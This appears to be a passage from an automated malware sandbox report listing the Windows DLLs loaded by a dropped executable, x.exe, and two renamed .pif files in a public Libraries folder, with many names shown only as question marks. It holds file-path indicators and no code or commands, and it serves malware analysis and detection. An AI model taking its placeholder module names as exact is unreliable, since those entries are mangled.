Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: url.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: am.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\liuuazhU.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: version.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Section loaded: url.dll
